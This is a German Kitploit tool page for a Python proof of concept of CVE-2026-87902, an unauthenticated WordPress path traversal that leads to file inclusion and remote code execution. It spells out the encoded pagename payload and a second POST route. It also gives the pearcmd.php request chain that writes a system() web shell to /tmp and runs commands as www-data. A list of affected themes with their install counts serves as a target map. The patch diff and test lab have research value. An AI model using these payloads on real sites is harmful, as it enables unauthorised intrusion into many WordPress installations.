Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!
CVE-2026-87902 — Python-PoC für CVE-2026-87902, eine nicht authentifizierte WordPress-Path-Traversal-RCE über get_page_template(), mit Versions-Fingerprinting, Theme-Prüfungen und optionaler Dateieinbindung. | Kitploit
Python-PoC für CVE-2026-87902, eine nicht authentifizierte WordPress-Path-Traversal-RCE über get_page_template(), mit Versions-Fingerprinting, Theme-Prüfungen und optionaler Dateieinbindung.
die Payload. WP_Query leitet sie durch sanitize_title_for_query(), was einen literalen Punkt in einen Bindestrich umschreibt, aber prozentkodierte Oktette bewahrt. get_page_template() ruft dann urldecode() auf, um das Ergebnis in einen Pfad zu dekodieren
page_id
eine beliebige veröffentlichte Seite, damit die Abfrage auf einen Beitrag passt, statt einen 404 zurückzugeben. Ohne sie wird das Seitentemplate nie geladen
Der Core bildet page-{urldecode($pagename)}.php und löst es gegen das Stylesheet-Verzeichnis auf. Die Kodierung ist erforderlich: sanitize_title_for_query() schreibt ein literales .. in - um.
Voraussetzungen
#
Bedingung
Warum
1
das aktive Theme liefert ein page-*-Verzeichnis auf oberster Ebene mit
der Name ist page-{payload}.php, also muss sein erstes Segment auf der Festplatte auflösbar sein
2
eine veröffentlichte Seite, die weder die Startseite noch die Beitragsseite ist
is_front_page und is_home werden vor is_page versucht
3
die Zieldatei endet auf .php
der Core hängt die Erweiterung an
Keine hochgeladenen Inhalte, keine Änderung an der Seitenkonfiguration, am Theme oder am Core.
Alle 26 betroffenen Themes nennen das Verzeichnis page-templates. poc.py entnimmt den Namen aus themes.json, nimmt page-templates für ein Theme an, das nicht darin steht, und --root überschreibt mit einer kommagetrennten Liste.
Windows-Hosts lassen Voraussetzung 1 entfallen. Win32 hebt .. lexikalisch auf, sodass ein Segment, das nicht existiert, trotzdem durch das darauffolgende .. aufgehoben wird.
Pfad
Ergebnis
C:\...\wordpress\page-nothing\..\README.md
existiert
C:\...\wordpress\page-nothing\README.md
existiert nicht
Getestet mit os.stat unter Windows 11, das dieselbe Win32-Pfadbehandlung wie PHPs file_exists() verwendet. WordPress selbst wurde nicht unter Windows ausgeführt.
Verwendung
Check, der Standard
Identifiziert das Theme und die beiden Versionen und fragt dann, ob das page-*-Verzeichnis existiert. Nichts wird eingebunden oder ausgeführt.
root@kitploit:~
python3 poc.py --target https://example.com
root@kitploit:~
1 GET / 200 WordPress 7.1.1, theme neve
2 GET /wp-content/themes/neve/style.css 200 neve 4.2.11
3 GET /wp-content/themes/neve/page-templates/ 403 refused, which on its own establishes nothing
4 GET /wp-content/themes/neve/page-e464e285/ 404 the control is absent, so the refusal was about existence: the directory is there
────────────────────────────────────────────────────────────────────────────
result neve ships page-templates, core 7.1.1
next rerun with --exploit to make the target prove it
Antwort auf page-<root>/
Deutung
200
das Verzeichnis ist vorhanden und listet auf
404
kein solches Verzeichnis
403
nicht schlüssig, also folgt eine Kontrollanfrage für page-<8 zufällige Hex-Zeichen>/
403 dann Kontrolle 404
die Verweigerung betraf die Existenz, das Verzeichnis ist vorhanden
403 dann Kontrolle verweigert
der Server lehnt ab, was auch immer gefragt wird, Exit 4
Betroffen erfordert beides: das Verzeichnis existiert, und die Version ist 7.1.1 oder niedriger.
Exploit
Führt zuerst den Check aus und bindet dann die Datei ein, es sei denn, der Check hat das Ziel ausgeschlossen.
5 GET /?rest_route=/wp/v2/pages 200 1 published page
6 GET /?page_id=2&pagename=page-templates/../../ 200 1368 bytes, not the theme's page [page-templates, page_id 2]
────────────────────────────────────────────────────────────────────────────
result wp-admin/install.php ran: WordPress › Installation
Ein gerendertes Theme-Template referenziert immer /wp-content/themes/ über wp_head(), eine eingebundene Datei von außerhalb des Themes nicht. Das ist die Urteilsregel.
Optionen
Option
Standard
Wirkung
--target URL
erforderlich
die zu testende Installation
--exploit
aus
eine Datei nach dem Check einbinden
--include PATH
wp-admin/install.php
die einzubindende .php. Relative Pfade werden vom WordPress-Root aus aufgelöst, absolute Pfade steigen mit --depth auf
--depth N
7
../-Sprünge für ein absolutes --include
--root NAME[,NAME]
aus themes.json
die zu versuchenden page-*-Verzeichnisse, ohne das Präfix page-
--page-id ID
ermittelt
Seitenermittlung überspringen
--theme SLUG
ermittelt
Theme-Suche überspringen
--theme-version V
ermittelt
Theme-Versionssuche überspringen
--no-version
aus
keine Anfrage stellen, deren einziger Zweck das Erlernen einer Version ist
--core-json PATH
core.json
Release-Fingerabdrücke, nur gelesen, wenn nichts eine Version preisgab
--trace
aus
jeden Austausch ausgeben
--json
aus
ein JSON-Objekt, sonst nichts
--yes
aus
die Bestätigung überspringen
Code
Check
Exploit
0
betroffen
eine .php außerhalb des Themes wurde eingebunden
1
nicht betroffen
nicht eingebunden
2
keine Antwort, oder die Antwort ist nicht WordPress
gleich
3
Verwendung, oder bei der Bestätigung abgelehnt
gleich
4
nicht schlüssig, siehe die 403- und 7.1.x-Fälle
nicht verwendet
Das Standard---include ist wp-admin/install.php: in jedem WordPress unverkennbare Ausgabe, ändert nichts.
TLS-Zertifikate werden nicht verifiziert. Abgelaufene, selbstsignierte und mit falschem Hostnamen werden akzeptiert.
Versions-Fingerprinting
Der Reihe nach versucht, beim ersten, der antwortet, wird gestoppt.
Quelle
Kosten
Bei 7.1.1
generator-Meta auf der Startseite
kostenlos
exakte Version
?ver= auf einem /wp-includes/-Asset
kostenlos
exakte Version
/?feed=rss2
1 Anfrage
exakte Version
/wp-links-opml.php
1 Anfrage
exakte Version
sha256 eines ausgelieferten Assets gegen core.json
1 Anfrage
die Menge der Releases, die diese Bytes ausliefern
core.json deckt die 112 veröffentlichten Releases und 7.1.2 ab, jeweils vier Assets. Deren Kreuzung benennt 9 Releases exakt und lässt einen Median von 4 Kandidaten übrig. Betroffen erfordert, dass jeder Kandidat 7.1.1 oder niedriger ist.
7.1.1 und 7.1.2 lassen sich von außen nicht unterscheiden. Die drei Dateien, die sich unterscheiden, sind wp-admin/about.php, wp-includes/template.php und wp-includes/version.php, von denen keine ausgeliefert wird. Eine 7.1.x-Seite, die ihre Version verbirgt, erhält Exit 4.
Themes
Die 200 meistinstallierten Themes auf wordpress.org. 26 liefern ein page-*-Verzeichnis mit und sind betroffen, zusammen 765.500 von 9.027.090 aktiven Installationen. Die anderen 174 scheitern an Voraussetzung 1.
Theme
Version
Installationen
page-*
Status
Bestätigt
neve
4.2.11
200,000
page-templates
🔴 betroffen
lab
sydney
2.71
80,000
page-templates
🔴 betroffen
lab
hestia
3.3.6
70,000
page-templates
🔴 betroffen
lab
inspiro
2.2.3
60,000
page-templates
🔴 betroffen
survey
colibri-wp
1.0.169
50,000
page-templates
🔴 betroffen
survey
twentyfourteen
4.6
50,000
page-templates
🔴 betroffen
lab
twentytwelve
4.9
50,000
page-templates
🔴 betroffen
lab
colormag
4.2.5
40,000
page-templates
🔴 betroffen
lab
zakra
4.3.3
30,000
page-templates
🔴 betroffen
survey
spacious
1.9.12
20,000
page-templates
lab bedeutet end-to-end mit poc.py gegen ein unverändertes Image getestet, survey bedeutet, das Verzeichnis wurde aus dem Theme-Archiv ausgelesen und das Theme wurde nicht aufgesetzt.
Getestet und nicht betroffen, keines davon mit einem page-*-Verzeichnis: astra, kadence, twentysixteen, twentyseventeen, twentytwentythree, twentytwentyfive.
front-page.php, mitgeliefert von hestia, neve und anderen, ändert die Betroffenheit nicht. Es schließt nur die ID der Startseite für die Anfrage aus.
Versionen
Release
Standard-Theme des Images
Mit einem betroffenen Theme
Bestätigt
7.1.2
🟢 nicht betroffen, twentytwentyfive
🟢 nicht betroffen, neve
lab
7.1.1
🟢 nicht betroffen, twentytwentyfive
🔴 betroffen, neve
lab
7.1.0
🟢 nicht betroffen, twentytwentyfive
🔴 betroffen, neve
lab
7.0.4
🟢 nicht betroffen, twentytwentyfive
🔴 betroffen, neve
lab
6.8.3
🟢 nicht betroffen, twentytwentyfive
🔴 betroffen, neve
lab
6.1.0
🟢 nicht betroffen, twentytwentythree
🔴 betroffen, twentytwelve
lab
4.9.8
🟢 nicht betroffen, twentyseventeen
🔴 betroffen, twentytwelve
lab
die 105 anderen Releases
nicht gemessen
nicht gemessen
nicht gemessen
Theme-Version
keine Voraussetzung, das page-*-Verzeichnis ist eine. neve 4.2.11 wurde auf 6.8.3 und höher verwendet, twentytwelve 4.9 auf den beiden älteren Cores
7.1.2
kein veröffentlichtes Image. Getestet mit lab/run.py --core 7.1.2, das das offizielle Release-Archiv über 7.1.1-apache anwendet
Out of the box
kein Release ab 4.1 ist betroffen. twentyfifteen bis twentytwentyfive liefern kein page-*-Verzeichnis mit. twentyfourteen und twentytwelve tun es, und waren die Standard-Themes von 3.8 bis 4.0 und von 3.5, für die kein Image veröffentlicht ist
Nicht pullbar
15 der 112 veröffentlichten Tags: 14 älter als 4.5.3-apache verwenden ein v1-Manifest, das containerd 2.1 ablehnt, und 4.5.3-apache hat ein Layer, das die Registry nicht ausliefern kann
Pro Release veröffentlichte PHP-Varianten, die die Eskalation unten bestimmen:
WordPress-Releases
Als -apache veröffentlichte PHP-Varianten
4.1.x bis 4.5.x
keine, nur einfacher Tag, 5.6
4.6.x bis 5.0.x
5.67.07.17.27.3
5.1.x bis 5.5.x
7.17.27.37.4
5.6.x bis 6.0.x
7.27.37.48.08.1
6.1.x bis 6.6.x
7.48.08.18.28.3
6.7.x
8.18.28.38.4
6.8.x und 6.9.x
8.18.28.38.48.5
7.0.x und 7.1.x
8.28.38.48.5
PHP und Eskalation
Die Dateieinbindung gelingt auf allen vier Images und pearcmd.php ist in jedem vorhanden. Die Befehlsausführung über das Gadget erfordert register_argc_argv aktiviert, was das php8.5-Image ausschaltet.
Image
PHP
register_argc_argv $_SERVER['argv']
RCE über pearcmd.php
Bestätigt
7.1.1-php8.2-apache
8.2.33
An, befüllt
🔴 uid=33(www-data)
lab
7.1.1-apache
8.3.33
An, befüllt
🔴 uid=33(www-data)
lab
7.1.1-php8.4-apache
8.4.25
An, befüllt
🔴 uid=33(www-data)
lab
7.1.1-php8.5-apache
8.5.10
Aus, null
🟢 nicht erreicht
lab
Gelesen über apache2handler, nicht über die CLI, die die Einstellung erzwingt. Die beiden Anfragen hinter der RCE-Spalte:
root@kitploit:~
# 1. include the gadget, whose arguments are the query string
GET /?page_id=2&pagename=<pearcmd payload>&+config-create+/&<?=system($_GET[0])?>+/tmp/labrce.php
# 2. include what it wrote
GET /?page_id=2&pagename=<tmp/labrce payload>&0=id
-> uid=33(www-data) gid=33(www-data) groups=33(www-data)
poc.py bindet eine Datei ein, es steuert das Gadget nicht. Erreiche es mit --include /usr/local/lib/php/pearcmd.php --depth 7. Auf dem 8.5-Image wurde nach keinem anderen Gadget als pearcmd.php gesucht.
Fix
Aus wordpress-7.1.2.zip ausgelesen. Zwei Änderungen.
+ // wp-includes/template.php, new in 7.1.2, called by locate_template() on every candidate
+ function _wp_is_template_path_allowed( $path ) {
+ global $wp_stylesheet_path, $wp_template_path;
+
+ // A file path that exists and does not contain `..` is allowed.
+ if ( 0 === preg_match( '#(?:^|/)\.\.[. ]*(?:/|$)#', wp_normalize_path( $path ) ) ) {
+ return true;
+ }
+
+ $real_path = realpath( $path );
+ if ( false === $real_path ) {
+ return false;
+ }
+ $real_path = trailingslashit( wp_normalize_path( $real_path ) );
+
+ $directories = array(
+ $wp_stylesheet_path,
+ $wp_template_path,
+ ABSPATH . WPINC . '/theme-compat',
+ );
+ // ... plus the parent directory of a theme that lives in a subdirectory
+
+ foreach ( $directories as $directory ) {
+ $real_directory = realpath( $directory );
+ if ( false === $real_directory ) {
+ continue;
+ }
+ if ( str_starts_with( $real_path, trailingslashit( wp_normalize_path( $real_directory ) ) ) ) {
+ return true;
+ }
+ }
+ return false;
+ }
Der erste behebt den verwundbaren Zweig, der zweite prüft jeden aufgelösten Template-Pfad, was auch immer ihn erzeugt hat. Getestet: auf 7.1.2 mit aktivem neve und vorhandenem page-templates rendert dieselbe Anfrage die eigene Seite des Themes, 55.084 Bytes, statt des Installers.
Eine zweite Route existiert auf 7.1.1 und früher:
root@kitploit:~
POST /
name=<front page slug>&page_id=<posts page id>&preview=true&pagename=<payload>
Wie sie sich unterscheidet
lenkt WP_Query in seinen post_name-Zweig, der pagename nie umschreibt, sodass ein literales .. funktioniert
Was sie benötigt
ein Theme ohne single.php, weil is_single vor is_page versucht wird
Getestet auf
7.1.1 mit bloghash
Warum sie hier steht
sie überlebt einen Fix, der allein den Sanitizer härtet. Die obige Containment-Prüfung schließt sie ebenfalls
Lab
root@kitploit:~
python3 lab/run.py # the pool in lab/targets.txt
python3 lab/run.py --tags 7.1.1-apache --theme [email protected] --keep
python3 lab/run.py --all --theme [email protected] --prune
python3 lab/run.py --refresh-versions # rewrite lab/versions.txt from the registry
python3 lab/themes.py # rebuild themes.json
python3 lab/core.py --also 7.1.2 # rebuild core.json
root@kitploit:~
1/9 7.1.1-apache affected 0 included twentytwelve wp-admin/install.php ran
2/9 7.1.1-apache affected 0 included hestia wp-admin/install.php ran
3/9 7.1.1-apache affected 0 included neve wp-admin/install.php ran
4/9 7.1.1-apache affected 0 included colormag wp-admin/install.php ran
5/9 7.1.1-apache affected 0 included sydney wp-admin/install.php ran
6/9 7.1.1-apache unaffected 1 not included twentytwentyfive no page-* directory
7/9 7.1.1-apache affected 0 included bloghash wp-admin/install.php ran
8/9 7.1.1-apache unaffected 1 not included kadence no page-* directory
9/9 7.1.1-apache unaffected 1 not included astra no page-* directory
Pro Zeile
Image
offizielles wordpress:<tag>, unverändert
Isolation
eigener Container, eigener Port, eigene Datenbank in der gemeinsamen MariaDB
Installation
über HTTP durch wp-admin/install.php, sodass keine Version ein passendes wp-cli benötigt
Zustand
wie der Installer ihn hinterlässt, eine veröffentlichte Seite, nichts hochgeladen
Angesteuert mit
poc.py --exploit, sodass eine Zeile die Einbindung misst und nicht das Erscheinungsbild
Option
Standard
Wirkung
--jobs N
2
Zeilen parallel
--theme SLUG[@VERSION]
keine
auf jeder Zeile installieren und aktivieren
--core VERSION
keine
dieses offizielle Release über den Core des Images anwenden, so wird ein Release ohne Image ausgeführt
--keep
aus
die Instanzen laufen lassen, Admin-Passwort am Ende ausgegeben
--prune
aus
Images löschen, die dieser Lauf gepullt hat
--port-base N
8110
erster Port, einer pro Zeile, nur 127.0.0.1
--db-image
mariadb:10.6
Datenbank-Image
--timeout N
180
Sekunden, die ein Container zum Antworten hat
--out PATH
lab/results.json
Detail pro Zeile
Exit-Codes: 0 jede Zeile gemessen, 1 mindestens eine nicht, 2 Docker fehlt oder nichts auszuführen, 3 Verwendung oder abgelehnt. Ein WordPress-Image ist 600 MB bis 1,1 GB, also ist --all ohne --prune zig GB.
.github/workflows/lab.yml führt vier Zeilen bei jeder Änderung am PoC oder am Lab aus, und wöchentlich: ein betroffenes Theme auf 7.1.1 und auf 6.8.3, das Standard-Theme des Images und die php8.5-Variante. Jede prüft ihren erwarteten Exit-Code.
Zwei Ideen aus diesem PoC, beide hier zuerst getestet:
Idee
Beibehalten
Getestet
/index.php?rest_route= und /wp-json/ als Fallback-Routen für die Seitenauflistung
ja
die Ermittlung gelingt über eine der drei
eine Seite ohne eigenes Seitentemplate bevorzugen, da get_page_template() dieses Template zuerst versucht
ja, als Reihenfolge
das Erzwingen einer Seite, die eines trägt, reproduzierte trotzdem auf 7.1.1, kostet also schlimmstenfalls eine Anfrage
Dateien
root@kitploit:~
poc.py the PoC, standalone, stdlib only
themes.json per-theme facts poc.py reads (generated)
core.json asset fingerprints per release (generated)
lab/run.py the lab
lab/themes.py rebuilds themes.json from the survey and the archive cache
lab/core.py rebuilds core.json from the official release archives
lab/survey.json 200 most-installed themes, their version and page-* directories
lab/targets.txt the pool lab/run.py stands up by default
lab/versions.txt 112 published releases (generated from the registry)
lab/results.json last run (ignored)
lab/.cache/ theme and release archives (ignored)
attic/ previous attempt, unwired, ignored
Anforderungen: Docker, Python 3.8+, keine Drittanbieter-Pakete.